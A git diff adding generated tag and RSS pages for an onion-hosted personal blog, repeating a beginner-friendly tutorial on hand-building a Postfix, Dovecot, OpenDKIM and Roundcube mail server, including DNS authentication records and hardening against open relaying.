    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/postfix/page/1/index.html b/public-onion/tags/postfix/page/1/index.html new file mode 100644 index 0000000..cf27961 --- /dev/null +++ b/public-onion/tags/postfix/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfix/ + + + + + + diff --git a/public-onion/tags/postfixadmin/index.html b/public-onion/tags/postfixadmin/index.html new file mode 100644 index 0000000..7bbd5f5 --- /dev/null +++ b/public-onion/tags/postfixadmin/index.html @@ -0,0 +1,354 @@ + + + + + + + +Postfixadmin | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/postfixadmin/index.xml b/public-onion/tags/postfixadmin/index.xml new file mode 100644 index 0000000..167fb82 --- /dev/null +++ b/public-onion/tags/postfixadmin/index.xml @@ -0,0 +1,154 @@ + + + + Postfixadmin on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfixadmin/ + Recent content in Postfixadmin on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/postfixadmin/page/1/index.html b/public-onion/tags/postfixadmin/page/1/index.html new file mode 100644 index 0000000..9d6b9f2 --- /dev/null +++ b/public-onion/tags/postfixadmin/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfixadmin/ + + + + + + diff --git a/public-onion/tags/privacy/index.html b/public-onion/tags/privacy/index.html new file mode 100644 index 0000000..6812bf2 --- /dev/null +++ b/public-onion/tags/privacy/index.html @@ -0,0 +1,377 @@ + + + + + + + +Privacy | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
